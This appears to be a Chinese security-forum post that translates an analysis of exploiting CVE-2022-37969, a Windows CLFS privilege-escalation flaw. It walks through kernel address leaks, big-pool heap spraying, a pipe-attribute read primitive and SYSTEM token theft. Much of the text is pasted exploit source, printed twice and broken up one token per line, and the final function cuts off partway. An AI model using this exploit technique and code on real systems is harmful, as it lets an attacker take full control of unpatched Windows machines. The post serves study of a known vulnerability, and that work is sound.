-
-
[翻译]Windows CLFS 提权漏洞 CVE-2022-37969 漏洞利用
-
发表于: 2023-6-10 15:33 9520
-
https://www.coresecurity.com/core-labs/articles/understanding-cve-2022-37969-windows-clfs-lpe
找不到样本,结合GitHub上的一个exp,翻译文章学习下
在开始分析 CVE-2022-37969 的利用之前,先介绍下相关的内核结构
_EPROCESS结构是一个不透明的结构,表示内核中的进程对象。Windows上运行的每个进程在内核中都有相应的_EPROCESS对象。下图显示了Windows11内核中_EPROCESS的结构布局。
令牌字段存储在_EPROCESS结构的0x4B8偏移处。_EPROCESS.Token指向_EX_FAST_REF结构。_EX_FAST_REF结构的三个字段(Object、RefCnt、Value)具有相同的偏移量,_EX_FAST_REF对象的最后4位数字表示RefCnt字段,该字段表示对此令牌的引用。因此,将最后4位数字清零,可以获得_TOKEN结构的实际地址。
_TOKEN是一种内核结构,用于描述进程的安全上下文,并包含令牌id、令牌权限、会话id、令牌类型、登录会话等信息。下图显示了内核中_TOKEN的结构布局。
通常,在内核中操作_Token对象可以用于提升权限。涉及两种通用技术,一种是令牌替换,用拥有高权限进程中的的令牌替换低权限进程中的令牌。第二种是修改令牌特权,向现有令牌添加并启用更多特权。CVE-2022-37969的样本利用了令牌替换技术。
在用户空间中,用户可以使用CreatePipe函数创建匿名管道,并将句柄返回到管道的读取和写入端。
https://learn.microsoft.com/zh-cn/windows/win32/api/namedpipeapi/nf-namedpipeapi-createpipe
用户可以将属性添加到管道中。这些属性是一对键值,存储在一个链表中。PipeAttribute结构是在PagedPool中分配的内核空间中属性的表示。PipeAttribute结构定义如下。
PipeAttribute 结构的内存布局如下
可以使用NtFsControlFile API设置第六个参数FsControlCode为0x11003C在管道上创建管道属性(pipe attribute),将NtFsControlFile 第 6 个参数 FsControlCode 设置为 0x110038可以读取属性值
https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntfscontrolfile
_ETHREAD 是不透明的结构,表示内核中线程的线程对象
_ETHREAD 结构的布局如下,PreviousMode字段位于 _ETHREAD 结构中的0x232偏移处。
关于PreviousMode,微软的文档指出:“当用户模式应用程序调用本机系统服务例程的Nt或Zw版本时,系统调用机制将调用线程陷入内核模式。为了指示参数值起源于用户模式,系统调用的陷阱处理程序将调用者的线程对象中的PreviousMode字段设置为UserMode。
https://learn.microsoft.com/zh-cn/windows-hardware/drivers/kernel/previousmode
https://learn.microsoft.com/zh-cn/windows-hardware/drivers/kernel/introduction-to-thread-objects
下图展示了NtWriteVirtualMemory的实现,
当 PreviousMode 设置为 1 (UserMode) 时,来自用户空间的NT 或 Zw 版本函数调用将其中进行地址验证。在这种情况下,对内核内存的任意写将失败。相反,当 PreviousMode 设置为 0 (KernelMode) 时,将跳过地址验证,可以写入任意内核内存地址。针对 Windows 10 的 CVE-2022-37969 漏洞利用使用PreviousMode 实现任意写入原语。
下图展示了一个由 OS Build Number和 UBR 组成的 Windows 操作系统内部版本号
该漏洞利用程序首先检查运行样本的 Windows 操作系统 (OS) 版本是否受支持
该exp通过 NtCurrentTeb()->ProcessEnvironmentBlock 获取 _PEB 对象,然后从 _PEB 结构中 0x120 偏移处的 OSBuildNumber 字段中获取操作系统内部版本号。
UBR可以通过查询注册表项HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion中UBR 值获得。一旦漏洞确认支持目标 Windows,就会将 _EPROCESS 结构的 Token 字段的偏移量存储在全局变量中
Windows 11 (21H2) 10.0.22000.918 中偏移量为0x4B8。
下为github开源exp的部分
接下来,漏洞利用程序通过使用适当的参数调用NtQuerySystemInformation API获取当前进程和拥有SYSTEM特权的System进程(PID 4)的_EPROCESS和_TOKEN。NtQuerySystemInformation API根据第一个参数检索指定的系统信息,其声明如下:
样本中相应的代码
1、获取NtQuerySystemInformation API的函数地址。
2、 调用NtQuerySystemInformation API,第一个参数设置为 SystemExtendedHandleInformation (0x40)。如果该函数返回 NTSTATUS 成功,将检索到的信息将存储在第二个参数 SystemInformation 中,该参数是指向 SYSTEM_HANDLE_INFORMATION_EX 结构的指针。
SYSTEM_HANDLE_INFORMATION_EX 内存布局如下图所示。
接下来,代码定位与当前进程关联的 _EPROCESS 对象。最后,_EPROCESS 对象的地址存储在一个全局变量中。
3、再次调用NtQuerySystemInformation API,第一个参数设置为 SystemExtendedHandleInformation (0x40)。如果该函数返回 NTSTATUS 成功,则代码定位与系统进程 (PID 4) 关联的 _EPROCESS 对象。最后,System_EPROCESS 对象的地址存储在一个全局变量中。
4、获取当前进程的_EPROCESS对象的Token字段地址和System进程的_EPROCESS对象的Token字段地址。两个地址都存储在相应的全局变量中。
该漏洞还将一些关键数据结构存储在全局变量中。下图中显示了这些全局变量及其代表的内容。
exp调用OpenProcessToken函数打开与当前进程关联的访问令牌。OpenProcessToken函数返回时,一个指向访问令牌的句柄的指针被存储在第三个参数中。然后,漏洞利用程序调用NtQuerySystemInformation API,第一个参数设置为SystemHandleInformation(0x10)。如果它返回NTSTATUS成功,则检查标识新打开的访问令牌的句柄是否存在于系统句柄列表中。
利用代码中使用了以下技术来确保确保最后申请的2个blf文件的MetadataBlock相隔距离正好为0x11000字节
在创建每个新的 MyLog_xxx.blf 基础文件后,调用ZwQuerySystemInformation 函数,第一个参数为 SystemBigPoolInformation(0x42)。如果函数返回 NTSTATUS 成功,检索到的信息将存储在第二个参数SystemInformation中,该参数是一个指向SYSTEM_BIGPOOL_ENTRY结构的指针,该结构在运行时保存所有的bigpool内存。
bigpool中的分配数量存储在第一个名为Count的字段中。在第二个字段中有一个名为SYSTEM_BIGPOOL_ENTRY的结构数组。
从那里我们将搜索“ Clfs ”标签和大小0x7a00的所有结构。VirtualAddress 存储在名为kernelAddrArray的数组中,该数组是具有CLFS标记且大小为0x7a00的每个结构的第一个字段。
接下来的循环中,代码检查第N个BLF的基本块和第N+1个BLF的基本块之间的偏移量是否恒定。直到偏移量恒定,代码才会跳出循环。常量值为0x11000。将常量值加上0x14B,设置为Base Record Header中的cbSymbolZone字段。
https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/bigpool_entry.htm
基本日志文件得过程参考上文,在构造基本日志文件之前,EXP利用堆喷射来设置受控内存。
堆喷射后的内存布局
有以下几个步骤
1、调用CreatePipe函数创建一个匿名管道,并使用NtFsControlFile API在管道上添加一个管道属性,其中第6个参数FsControlCode设置为0x11003C。然后,该代码调用ZwQuerySystemInformation,第一个参数设置为SystemBigPoolInformation(0x42)。在函数返回NTSTATUS成功之后,检索到指向SYSTEM_BIGPOOL_ENTRY结构的指针。最后,定位代表新创建的PipeAttribute对象的bigpool。变量v30存储了这个PipeAttribute对象的内核地址。下图显示了内核中创建的PipeAttribute对象的内存布局。
2、获取System (PID 4) 进程的_EPROCESS 对象的内核地址,在内存区域(0x10000 ~ 0x1010000)的偏移N*8+8处设置PipeAttribute对象中AttributeValueSize字段的地址。将addr_EPROCESS_System&0xfffffffffffff000的结果写入偏移量0xFFFFFFFF处,并在偏移量0x100000007处写入0x414141414141005A。
3、ClfsEarlierLsn函数的地址存放在0x5000018处,
SeSetAccessStateGenericMapping函数的地址存放在0x5000008处
4、触发漏洞。CClfsBaseFilePersisted::RemoveContainer函数中对已损坏的指向伪造CClfsContainer对象的指针进行解引用。被解引用的地址指向的数据可以通过用户空间的堆喷射进行控制和操作。
在SeSetAccessStateGenericMapping函数的结尾,PipeAttribute对象中的AttributeValue字段已被覆盖为addr_EPROCESS_System&0xfffffffffffff000。addr_EPROCESS_System代表System进程(PID 4)的_EPROCESS对象的地址。
假CClfsContainer对象中的假vftable指向0x5000000,其中ClfsEarlierLsn函数的地址存储在0x5000018,SeSetAccessStateGenericMapping函数的地址存储在0x0x5000008。RAX取值0x5000000并首先跳转到位于0x5000000+18的函数,然后跳转到0x5000000+8。依次调用ClfsEarlierLsn函数和nt!SeSetAccessStateGenericMapping函数。ClfsEarlierLsn函数返回后,寄存器RDX等于0xFFFFFFFF。在地址 0xFFFFFFFF 中,存储了 SYSTEM _EPROCESS & 0xFFFFFFFFFFFFFFF000 的结果
在 SeSetAccessStateGenericMapping 函数的末尾,PipeAttribute 对象中的 AttributeValue 字段已被 addr_EPROCESS_System & 0xfffffffffffff000 覆盖。addr_EPROCESS_System 表示系统进程(PID 4)的 _EPROCESS 对象的地址。
5、使用NtFsControlFile API读取管道上的管道属性,第6个参数FsControlCode设置为0x110038。这将从被覆盖的AttributeValue字段指向的地址获取管道属性,并将内核数据复制到用户空间的堆缓冲区中。被覆盖的AttributeValue字段指向地址addr_EPROCESS_System&0xfffffffffffff000。然后,该代码基于Token字段的偏移量获取System(PID 4)进程的_EPROCESS对象中的Token字段。最后,System进程(PID 4)的Token字段的值存储在全局变量qword_1400A8128中。
为了完成令牌替换,该漏洞利用程序二次触发CLFS漏洞并执行以下操作。
出发漏洞,依次调用 ClfsEarlierLsn 函数和 nt!SeSetAccessStateGenericMapping 函数,将当前进程Token替换为system 的token
BOOL
CreatePipe(
[out] PHANDLE hReadPipe,
[out] PHANDLE hWritePipe,
[
in
, optional] LPSECURITY_ATTRIBUTES lpPipeAttributes,
[
in
] DWORD nSize );
BOOL
CreatePipe(
[out] PHANDLE hReadPipe,
[out] PHANDLE hWritePipe,
[
in
, optional] LPSECURITY_ATTRIBUTES lpPipeAttributes,
[
in
] DWORD nSize );
struct PipeAttribute {
LIST_ENTRY
list
;
char
*
AttributeName;
uint64_t AttributeValueSize;
char
*
AttributeValue;
char data [
0
];
};
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY
*
Flink;
struct _LIST_ENTRY
*
Blink;
} LIST_ENTRY,
*
PLIST_ENTRY, PRLIST_ENTRY;
struct PipeAttribute {
LIST_ENTRY
list
;
char
*
AttributeName;
uint64_t AttributeValueSize;
char
*
AttributeValue;
char data [
0
];
};
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY
*
Flink;
struct _LIST_ENTRY
*
Blink;
} LIST_ENTRY,
*
PLIST_ENTRY, PRLIST_ENTRY;
int
getOSversion() {
char buff[
100
];
HKEY hKey;
DWORD cType;
wchar_t lpData[
1024
]
=
{
0
};
DWORD buffersize
=
sizeof(lpData);
int
tokenOffset
=
0
;
memset(buff,
0
, sizeof(buff));
/
/
clear
buffer
if
(RegOpenKeyEx(HKEY_LOCAL_MACHINE, TEXT(
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"
), NULL, KEY_READ, &hKey)
=
=
ERROR_SUCCESS)
{
printf(
"[+] Registry key Opened successfully\n"
);
}
else
{
printf(
"[!] Failed to open reg key: %s\n"
, GetLastError());
exit(
1
);
}
LPCWSTR valueName_CurrentBuild
=
L
"CurrentBuild"
;
RegQueryValueExW(hKey, valueName_CurrentBuild, NULL, &cType, (LPBYTE)lpData, &buffersize);
RegCloseKey(hKey);
/
/
convert
unicode
to ansi
WideCharToMultiByte(CP_UTF8,
0
, lpData,
-
1
, (LPSTR)buff,
0x80
,
0
,
0
);
/
/
convert string to
int
winversion
=
atoi(buff);
wprintf(L
"[+] Windows Build Number: %i\n"
, winversion);
/
/
check
if
versions are supported
if
(winversion >
=
17763
&& winversion <
=
22000
) {
token_offset
=
0x4b8
;
/
/
store the token offset
}
else
{
printf(
"[!] Version %d not supported. Exiting...\n"
, winversion);
}
return
0
;
}
int
getOSversion() {
char buff[
100
];
HKEY hKey;
DWORD cType;
wchar_t lpData[
1024
]
=
{
0
};
DWORD buffersize
=
sizeof(lpData);
int
tokenOffset
=
0
;
memset(buff,
0
, sizeof(buff));
/
/
clear
buffer
if
(RegOpenKeyEx(HKEY_LOCAL_MACHINE, TEXT(
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"
), NULL, KEY_READ, &hKey)
=
=
ERROR_SUCCESS)
{
printf(
"[+] Registry key Opened successfully\n"
);
}
else
{
printf(
"[!] Failed to open reg key: %s\n"
, GetLastError());
exit(
1
);
}
LPCWSTR valueName_CurrentBuild
=
L
"CurrentBuild"
;
RegQueryValueExW(hKey, valueName_CurrentBuild, NULL, &cType, (LPBYTE)lpData, &buffersize);
RegCloseKey(hKey);
/
/
convert
unicode
to ansi
WideCharToMultiByte(CP_UTF8,
0
, lpData,
-
1
, (LPSTR)buff,
0x80
,
0
,
0
);
/
/
convert string to
int
winversion
=
atoi(buff);
wprintf(L
"[+] Windows Build Number: %i\n"
, winversion);
/
/
check
if
versions are supported
if
(winversion >
=
17763
&& winversion <
=
22000
) {
token_offset
=
0x4b8
;
/
/
store the token offset
}
else
{
printf(
"[!] Version %d not supported. Exiting...\n"
, winversion);
}
return
0
;
}
__kernel_entry NTSTATUS NtQuerySystemInformation(
[
in
] SYSTEM_INFORMATION_CLASS SystemInformationClass,
[
in
, out] PVOID SystemInformation,
[
in
] ULONG SystemInformationLength,
[out, optional] PULONG ReturnLength
);
__kernel_entry NTSTATUS NtQuerySystemInformation(
[
in
] SYSTEM_INFORMATION_CLASS SystemInformationClass,
[
in
, out] PVOID SystemInformation,
[
in
] ULONG SystemInformationLength,
[out, optional] PULONG ReturnLength
);
fnNtQuerySystemInformation
=
(_NtQuerySystemInformation)GetProcAddress(LoadLibrary(L
"ntdll.dll"
),
"NtQuerySystemInformation"
);
fnNtQuerySystemInformation
=
(_NtQuerySystemInformation)GetProcAddress(LoadLibrary(L
"ntdll.dll"
),
"NtQuerySystemInformation"
);
g_EProcessAddress
=
GetObjectKernelAddress(hProcess);
system_EPROCESS
=
GetObjectKernelAddress((HANDLE)
4
);
SIZE_T GetObjectKernelAddress(HANDLE
Object
)
{
PSYSTEM_HANDLE_INFORMATION_EX handleInfo
=
NULL;
ULONG handleInfoSize
=
0x1000
;
ULONG retLength;
NTSTATUS status;
SIZE_T kernelAddress
=
0
;
BOOL
bFind
=
FALSE;
while
(TRUE)
{
handleInfo
=
(PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc(LPTR, handleInfoSize);
status
=
fnNtQuerySystemInformation(SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength);
if
(status
=
=
0xC0000004
|| NT_SUCCESS(status))
/
/
STATUS_INFO_LENGTH_MISMATCH
{
LocalFree(handleInfo);
handleInfoSize
=
retLength
+
0x100
;
handleInfo
=
(PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc(LPTR, handleInfoSize);
status
=
fnNtQuerySystemInformation(SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength);
if
(NT_SUCCESS(status))
{
for
(ULONG i
=
0
; i < handleInfo
-
>NumberOfHandles; i
+
+
)
{
if
((USHORT)
Object
=
=
0x4
)
{
if
(
0x4
=
=
(DWORD)handleInfo
-
>Handles[i].UniqueProcessId && (SIZE_T)
Object
=
=
(SIZE_T)handleInfo
-
>Handles[i].HandleValue)
{
kernelAddress
=
(SIZE_T)handleInfo
-
>Handles[i].
Object
;
bFind
=
TRUE;
break
;
}
}
else
{
if
(GetCurrentProcessId()
=
=
(DWORD)handleInfo
-
>Handles[i].UniqueProcessId && (SIZE_T)
Object
=
=
(SIZE_T)handleInfo
-
>Handles[i].HandleValue)
{
kernelAddress
=
(SIZE_T)handleInfo
-
>Handles[i].
Object
;
bFind
=
TRUE;
break
;
}
}
}
}
}
if
(handleInfo)
LocalFree(handleInfo);
if
(bFind)
break
;
}
return
kernelAddress;
}
g_EProcessAddress
=
GetObjectKernelAddress(hProcess);
system_EPROCESS
=
GetObjectKernelAddress((HANDLE)
4
);
SIZE_T GetObjectKernelAddress(HANDLE
Object
)
{
PSYSTEM_HANDLE_INFORMATION_EX handleInfo
=
NULL;
ULONG handleInfoSize
=
0x1000
;
ULONG retLength;
NTSTATUS status;
SIZE_T kernelAddress
=
0
;
BOOL
bFind
=
FALSE;
while
(TRUE)
{
handleInfo
=
(PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc(LPTR, handleInfoSize);
status
=
fnNtQuerySystemInformation(SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength);
if
(status
=
=
0xC0000004
|| NT_SUCCESS(status))
/
/
STATUS_INFO_LENGTH_MISMATCH
{
LocalFree(handleInfo);
handleInfoSize
=
retLength
+
0x100
;
handleInfo
=
(PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc(LPTR, handleInfoSize);
status
=
fnNtQuerySystemInformation(SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength);
if
(NT_SUCCESS(status))
{
for
(ULONG i
=
0
; i < handleInfo
-
>NumberOfHandles; i
+
+
)
{
if
((USHORT)
Object
=
=
0x4
)
{
if
(
0x4
=
=
(DWORD)handleInfo
-
>Handles[i].UniqueProcessId && (SIZE_T)
Object
=
=
(SIZE_T)handleInfo
-
>Handles[i].HandleValue)
{
kernelAddress
=
(SIZE_T)handleInfo
-
>Handles[i].
Object
;
bFind
=
TRUE;
break
;
}
}
else
{
if
(GetCurrentProcessId()
=
=
(DWORD)handleInfo
-
>Handles[i].UniqueProcessId && (SIZE_T)
Object
=
=
(SIZE_T)handleInfo
-
>Handles[i].HandleValue)
{
kernelAddress
=
(SIZE_T)handleInfo
-
>Handles[i].
Object
;
bFind
=
TRUE;
break
;
}
}
}
}
}
if
(handleInfo)
LocalFree(handleInfo);
if
(bFind)
break
;
}
return
kernelAddress;
}
int
checkAccessToken() {
int
v8
=
0
;
/
/
todavia no se que es
PHANDLE TokenHandle
=
0
;
/
/
int
savedHprocess
=
0
;
NTSTATUS status2;
ULONG size2;
NTSTATUS status3;
UINT64 v11
=
0
;
PUINT v12
=
0
;
user32
=
LoadLibraryW(L
"user32.dll"
);
int
currentpid
=
GetCurrentProcessId();
hProcess
=
OpenProcess(PROCESS_QUERY_INFORMATION,
0
, currentpid);
if
(!hProcess) {
printf(
"[!] OpenProcess failed with error %d\n"
, GetLastError());
}
printf(
"[+] hProcess: 0x%x\n"
, hProcess);
savedHprocess
=
(UINT)hProcess;
if
(!OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hProcess)) {
printf(
"[!] OpenProcessToken failed with error %d\n"
, GetLastError());
return
0
;
}
TokenHandle
=
&hProcess;
printf(
"[+] Token handle: 0x%x\n"
, TokenHandle);
VOID
*
v10
=
malloc(
0x20
);
if
(!v10) { exit(
1
); }
status2
=
fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, v10,
32
, &size2);
if
(!
*
(PUINT)v10) {
exit(
1
);
}
if
(status2
=
=
0xC0000004
|| NT_SUCCESS(status2))
/
/
STATUS_INFO_LENGTH_MISMATCH
{
LocalFree(v10);
v10
=
malloc(size2);
printf(
"[+] Structure Address %p\n"
, v10);
status3
=
fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, v10, size2, &size2);
printf(
"[+] Number of Handles: 0x%x\n"
,
*
(PULONG)v10);
}
v12
=
(PUINT)v10
+
3
;
printf(
"[+] Direccion: 0x%p pid: %x\n"
, (v12
-
1
),
*
(v12
-
1
));
while
(
*
(v12
-
1
) !
=
GetCurrentProcessId() ||
*
(BYTE
*
)v12 !
=
5
||
*
(PUINT16)TokenHandle !
=
*
(PUINT16)((PCHAR)v12
+
2
)) {
/
/
printf(
"pasada %d\n"
, v11);
v11
+
+
;
v12
=
(PUINT)v12
+
6
;
/
/
printf(
"v12 = %p\n"
, v12);
if
(v11 >
=
*
(PUINT)v10) {
printf(
"[+] Termino\n"
);
break
;
}
}
printf(
"[+] Valor: %x\n"
,
*
(PUINT16)v12);
printf(
"[+] Salida del while\n"
);
return
0
;
}
int
checkAccessToken() {
int
v8
=
0
;
/
/
todavia no se que es
PHANDLE TokenHandle
=
0
;
/
/
int
savedHprocess
=
0
;
NTSTATUS status2;
ULONG size2;
NTSTATUS status3;
UINT64 v11
=
0
;
PUINT v12
=
0
;
user32
=
LoadLibraryW(L
"user32.dll"
);
int
currentpid
=
GetCurrentProcessId();
hProcess
=
OpenProcess(PROCESS_QUERY_INFORMATION,
0
, currentpid);
if
(!hProcess) {
printf(
"[!] OpenProcess failed with error %d\n"
, GetLastError());
}
printf(
"[+] hProcess: 0x%x\n"
, hProcess);
savedHprocess
=
(UINT)hProcess;
if
(!OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hProcess)) {
printf(
"[!] OpenProcessToken failed with error %d\n"
, GetLastError());
return
0
;
}
TokenHandle
=
&hProcess;
printf(
"[+] Token handle: 0x%x\n"
, TokenHandle);
VOID
*
v10
=
malloc(
0x20
);
if
(!v10) { exit(
1
); }
status2
=
fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, v10,
32
, &size2);
if
(!
*
(PUINT)v10) {
exit(
1
);
}
if
(status2
=
=
0xC0000004
|| NT_SUCCESS(status2))
/
/
STATUS_INFO_LENGTH_MISMATCH
{
LocalFree(v10);
v10
=
malloc(size2);
printf(
"[+] Structure Address %p\n"
, v10);
status3
=
fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, v10, size2, &size2);
printf(
"[+] Number of Handles: 0x%x\n"
,
*
(PULONG)v10);
}
v12
=
(PUINT)v10
+
3
;
printf(
"[+] Direccion: 0x%p pid: %x\n"
, (v12
-
1
),
*
(v12
-
1
));
while
(
*
(v12
-
1
) !
=
GetCurrentProcessId() ||
*
(BYTE
*
)v12 !
=
5
||
*
(PUINT16)TokenHandle !
=
*
(PUINT16)((PCHAR)v12
+
2
)) {
/
/
printf(
"pasada %d\n"
, v11);
v11
+
+
;
v12
=
(PUINT)v12
+
6
;
/
/
printf(
"v12 = %p\n"
, v12);
if
(v11 >
=
*
(PUINT)v10) {
printf(
"[+] Termino\n"
);
break
;
}
}
printf(
"[+] Valor: %x\n"
,
*
(PUINT16)v12);
printf(
"[+] Salida del while\n"
);
return
0
;
}
NTSTATUS WINAPI ZwQuerySystemInformation(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
NTSTATUS WINAPI ZwQuerySystemInformation(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
VOID GetOffsetBetweenPools() {
UINT64 a2
=
0
;
PUINT64 p_a2
=
&a2;
WCHAR
*
buf
=
(WCHAR
*
)malloc(
0x1000
);
do
{
while
(
1
)
{
while
(
1
)
{
do
{
HANDLE logFile1;
do
{
v26
=
v24;
memset(buf,
0
,
0x1000
);
unsigned
int
rnum
=
rand();
wsprintfW((LPWSTR)buf, L
"%s_%d"
, stored_env_fname, rnum);
logFile1
=
CreateLogFile((LPWSTR)buf,
0xc0010000
,
3
,
0
,
4
,
0
);
}
while
(logFile1
=
=
(HANDLE)
-
1
);
int
*
handleArray
=
(
INT
*
)malloc(
4
);
*
handleArray
=
(
INT
)logFile1;
getBigPoolInfo(p_a2);
/
/
SystemBigPoolInformation
/
/
printf(
"[+] Last BigPoolAddress of Clfs tag --> %p\n [+]Total Clfs tags --> 0x%x\n"
, a2, num_of_CLFS);
v24
=
p_a2[
0
];
}
while
(!v26);
v31b
=
p_a2[
0
]
-
v26;
/
/
v32存储最后找到的两个正确池的VirtualAddress之间的差异
v32
=
v26
-
p_a2[
0
];
if
(v31b >
0
) {
v32
=
v31b;
}
/
/
printf(
"[+] Distancia --> %x\n"
, v32);
if
(v23)
break
;
v23
=
v32;
}
if
(v23
=
=
v32)
break
;
v22
=
0
;
v23
=
v32;
}
+
+
v22;
}
while
(v22 <
5
);
/
/
printf(
"[+] v22 --> %p\n"
, v22);
return
;
}
VOID GetOffsetBetweenPools() {
UINT64 a2
=
0
;
PUINT64 p_a2
=
&a2;
WCHAR
*
buf
=
(WCHAR
*
)malloc(
0x1000
);
do
{
while
(
1
)
{
while
(
1
)
{
do
{
HANDLE logFile1;
do
{
v26
=
v24;
memset(buf,
0
,
0x1000
);
unsigned
int
rnum
=
rand();
wsprintfW((LPWSTR)buf, L
"%s_%d"
, stored_env_fname, rnum);
logFile1
=
CreateLogFile((LPWSTR)buf,
0xc0010000
,
3
,
0
,
4
,
0
);
}
while
(logFile1
=
=
(HANDLE)
-
1
);
int
*
handleArray
=
(
INT
*
)malloc(
4
);
*
handleArray
=
(
INT
)logFile1;
getBigPoolInfo(p_a2);
/
/
SystemBigPoolInformation
/
/
printf(
"[+] Last BigPoolAddress of Clfs tag --> %p\n [+]Total Clfs tags --> 0x%x\n"
, a2, num_of_CLFS);
v24
=
p_a2[
0
];
}
while
(!v26);
v31b
=
p_a2[
0
]
-
v26;
/
/
v32存储最后找到的两个正确池的VirtualAddress之间的差异
v32
=
v26
-
p_a2[
0
];
if
(v31b >
0
) {
v32
=
v31b;
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课